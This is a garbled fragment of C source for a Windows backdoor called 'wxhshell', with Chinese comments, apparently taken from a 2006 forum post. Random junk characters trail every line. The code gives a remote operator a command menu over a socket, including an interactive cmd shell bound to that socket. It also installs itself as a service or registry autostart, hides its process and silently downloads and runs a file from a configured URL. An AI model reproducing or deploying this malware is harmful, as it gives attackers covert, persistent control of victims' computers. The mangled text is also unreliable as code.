  else { Q?Xqf7y  
-3y $j+  
    switch(cmd[0]) { a63Ud<_a7  
  $O;a~/T  
  // 帮助 j3 @Q  
  case '?': { 3?&P^{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %~Wr/TOt+  
    break; !i{5mc \  
  } @GQtyl;q  
  // 安装 V )oKsO  
  case 'i': { weOga\  
    if(Install()) R++w>5 5A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W>u$x=<T  
    else RS{E|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3XUie;*`  
    break; Z+FhI^  
    } Fdx4jc13w  
  // 卸载 ,nniSG((3  
  case 'r': { }hc+ENh  
    if(Uninstall()) 2.a{,d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); soB_j  
    else 4)snt3k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); catJC3  
    break; ]6WP;.[  
    } |5BvVqn  
  // 显示 wxhshell 所在路径 kL -f@CD  
  case 'p': { TPi{c_ ]  
    char svExeFile[MAX_PATH]; j'SGZnsy*  
    strcpy(svExeFile,"\n\r"); 4"+v:t)z6{  
      strcat(svExeFile,ExeFile); D<^K7tJui  
        send(wsh,svExeFile,strlen(svExeFile),0); t0ZaIE   
    break; WsmP]i^Q  
    } 8/|1FI  
  // 重启 7z+Ngt' !  
  case 'b': { 4_ZHY?VRd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T'14OU2N{Y  
    if(Boot(REBOOT)) (6)X Fp&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o<Rrr,  
    else { XE:bYzH  
    closesocket(wsh); xZMAX}8v  
    ExitThread(0); )EsFy6K:  
    } "!o|^nN,  
    break; S"Ag7i  
    } n1y*`5!  
  // 关机 wqt/0,\  
  case 'd': { 1(a+|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l27J  
    if(Boot(SHUTDOWN)) Lyjp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - SCFWc  
    else { Ec!R3+  
    closesocket(wsh); *,XT;h$'>  
    ExitThread(0); HwBJUr91]  
    } [ldx_+xa:E  
    break; ,Mu"r!MK  
    } ]ex2c{ G  
  // 获取shell chU,));F  
  case 's': { arn7<w0  
    CmdShell(wsh); 04!akPP<  
    closesocket(wsh); +tv"j;z  
    ExitThread(0); SiT5QJe  
    break; J~5+=V7OV  
  } | +aD%'|  
  // 退出 w `>g^_xsg  
  case 'x': { kO8oH8Vt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z+S1e~~  
    CloseIt(wsh); R lmeZy4.  
    break; U{0! <*W>  
    } (0 S;eM&  
  // 离开 l]geQl:7`r  
  case 'q': { ^A t,x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &jF[f4:7  
    closesocket(wsh); D{iPsH6};5  
    WSACleanup(); vb]H $@0  
    exit(1); 2P VQSwW:  
    break; esHcE{GNOS  
        } TZE;$:1vx>  
  } !;&{Q^}  
  } 20BU;D3  
[gE2;J0*  
  // 提示信息 RjG=RfB'V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0/b3]{skK  
} ne'Y{n(8%  
  } .OvH<%g!.  
2[Bw+<YA`  
  return; |&0Cuwt  
} #9@UzfZAwT  
JA6#qlylL  
// shell模块句柄 t;)`+K#1:  
int CmdShell(SOCKET sock) ,gn**E  
{ ~5wT|d  
STARTUPINFO si; @DCw(.k*  
ZeroMemory(&si,sizeof(si)); d?1[xv;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9 IY1"j0O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |F52)<\  
PROCESS_INFORMATION ProcessInfo; C3e0d~C  
char cmdline[]="cmd"; OC_i,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r>7Dg~)V  
  return 0; "P8cgj C  
} ]dQ  
-jL10~/  
// 自身启动模式 PRyzUG&  
int StartFromService(void) xSZ+6R|  
{ \PgMMc4'  
typedef struct eih~ SBSH  
{ d<afO?"  
  DWORD ExitStatus; ynG@/S6)K  
  DWORD PebBaseAddress; Mp`i@pm+  
  DWORD AffinityMask; [[vbw)u  
  DWORD BasePriority; fk?(mxx"  
  ULONG UniqueProcessId; WRfhxl  
  ULONG InheritedFromUniqueProcessId; 3^p;'7x  
}   PROCESS_BASIC_INFORMATION; ]ZM-c~nL  
|j~{gfpSE  
PROCNTQSIP NtQueryInformationProcess; h<IPV'1  
)+ 12r6W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jV|/ C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :,FI 6`  
M07==R7  
  HANDLE             hProcess; ev%}\^Vl[  
  PROCESS_BASIC_INFORMATION pbi; 8/+x1,S%  
aj@<4A=;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qgZN&7Nn:  
  if(NULL == hInst ) return 0; ~ZZJ/Cu  
hYU4%"X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y|N.R(sAs&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w2o5+G=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ub=Bz1._  
j+Q E~L  
  if (!NtQueryInformationProcess) return 0; "2 J2za  
zT"W(3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !d3:`l<  
  if(!hProcess) return 0; p+O,C{^f  
#tQ__ V   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `{W>Dy  
G}p* oz~  
  CloseHandle(hProcess); Q a8;MxK`  
Dro2R_j{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b;Uqyc  
if(hProcess==NULL) return 0; cuo'V*nWQ  
":,J<|Oy  
HMODULE hMod; ok<!/"RX$  
char procName[255]; a;[=b p  
unsigned long cbNeeded; a<mM )[U  
\XT~5N6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a) 5;Od  
Vo:Gp  
  CloseHandle(hProcess); =hDFpb,mr  
ZT%Q:]B+  
if(strstr(procName,"services")) return 1; // 以服务启动 f%5 s8)  
k1Thjt  
  return 0; // 注册表启动 g|PRk9  
} x^P~+(g  
>'96SE3  
// 主模块 X*Cvh|  
int StartWxhshell(LPSTR lpCmdLine) R`!'c(V  
{ ^Y- S"Ks  
  SOCKET wsl; vK~tgZ&  
BOOL val=TRUE; JN:EcVuy  
  int port=0; e!JC5Al7  
  struct sockaddr_in door; c 6Z\ecH9  
m(?ZNtBQt  
  if(wscfg.ws_autoins) Install(); {|ChwM\x  
OVgx2_F  
port=atoi(lpCmdLine); a.!|A(zw  
Y;OqdO  
if(port<=0) port=wscfg.ws_port; B$@fE}  
'SE?IE{  
  WSADATA data; }Gg:y?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G tSvb6UNn  
>xJh!w<pB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w,v~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9$oU6#U,h  
  door.sin_family = AF_INET; 1feS/l$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I-?Dil3  
  door.sin_port = htons(port); Jt}0%C3d  
>@wyiBU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?RVY%s;g  
closesocket(wsl); 6Om)e=gU/  
return 1; "J(W)\  
} UOAL7  
pz]#/Ry?  
  if(listen(wsl,2) == INVALID_SOCKET) { Zbobi,  
closesocket(wsl); ppu WcGo  
return 1; :*MqYny&  
} > qhoGg  
  Wxhshell(wsl); zOzobd   
  WSACleanup(); ^ H )nQ  
p!]$!qHO (  
return 0; u#uT|a.  
F1aI4H<(T  
} %qj8*1  
X=U>r  
// 以NT服务方式启动 g<&n V>wF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) + IpC  
{ xesZ 7{ o  
DWORD   status = 0; \vQjTM-7  
  DWORD   specificError = 0xfffffff; v;m}<3@'  
tjIT4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yf=Puy}q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3Sb'){.MT+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JTn\NSa  
  serviceStatus.dwWin32ExitCode     = 0; x."/+/  
  serviceStatus.dwServiceSpecificExitCode = 0; bO2s'!x  
  serviceStatus.dwCheckPoint       = 0; ohPCYt  
  serviceStatus.dwWaitHint       = 0; ]~H\X":[>  
oPPxja g\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |0e7<[  
  if (hServiceStatusHandle==0) return; 2Yt+[T*  
#ovmX  
status = GetLastError(); 5o&noRIIr  
  if (status!=NO_ERROR) !uwZ%Ux z  
{ jR[3{ Reo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :s5wFumD  
    serviceStatus.dwCheckPoint       = 0; tUPdq0%t[  
    serviceStatus.dwWaitHint       = 0; $xl>YYEBMH  
    serviceStatus.dwWin32ExitCode     = status; +>uiI4g  
    serviceStatus.dwServiceSpecificExitCode = specificError; -lNq.pp3-$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tB i16=  
    return; ~7}aW#  
  } wxx3']:  
Z+G.v=2q<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y$7vJl.uS/  
  serviceStatus.dwCheckPoint       = 0; 8:)W!tr  
  serviceStatus.dwWaitHint       = 0; ,fa'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2[8C?7_K0?  
} }KZt7)  
Gec?  
// 处理NT服务事件,比如:启动、停止 ^[]@dk9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~dFdO7  
{ d@?++z  
switch(fdwControl) v.Y?<=E+<d  
{  ~;#OQ[  
case SERVICE_CONTROL_STOP: s.p4+K J  
  serviceStatus.dwWin32ExitCode = 0; X?8EPCk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qij<XNZU"&  
  serviceStatus.dwCheckPoint   = 0; I \DH  
  serviceStatus.dwWaitHint     = 0; XFiP8aX<  
  { &=-ZNWNo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qlJzXq{|`  
  } 1K`7  
  return; C =6.~&(  
case SERVICE_CONTROL_PAUSE: X*^^W_LH.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $k|:V&6SV  
  break; :p@.aD5  
case SERVICE_CONTROL_CONTINUE: &Oih#I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nbECEQ:|B  
  break; dpPu&m+  
case SERVICE_CONTROL_INTERROGATE: ZHWxU  
  break; PqJB&:ZV  
}; yDil  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d}Y\; '2,  
} aGR!T{`   
Uf ?._&:  
// 标准应用程序主函数 H`:2J8   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hv~& RZpe  
{ dN%*-p(  
q|}%6ztv-  
// 获取操作系统版本 Q^H8gsv  
OsIsNt=GetOsVer(); (1pR=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m'b9 f6  
MN.h,^b  
  // 从命令行安装 7%Q?BH7{  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,_$}>MY;  
 4.7 PL  
  // 下载执行文件 y_7lSo8<  
if(wscfg.ws_downexe) { QQPT=_P]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mkj`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9[5qN!P;y  
} jgW-&nK!  
vo]!IY  
if(!OsIsNt) { `;7eu=  
// 如果时win9x,隐藏进程并且设置为注册表启动 5x=aJl;G  
HideProc(); @5rl;C  
StartWxhshell(lpCmdLine); s IE2a0+  
} ;Eer  
else V8Fp1?E9S  
  if(StartFromService()) {#_CzI.0f  
  // 以服务方式启动 OABMIgX  
  StartServiceCtrlDispatcher(DispatchTable); ?DwI>< W  
else 4Ucs9w3[  
  // 普通方式启动 aJ{-m@/ 5  
  StartWxhshell(lpCmdLine); e}u68|\EC  
Hrk]6*  
return 0; \|gE=5!Am=  
}
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只看该作者 1 发表于: 2006-10-10
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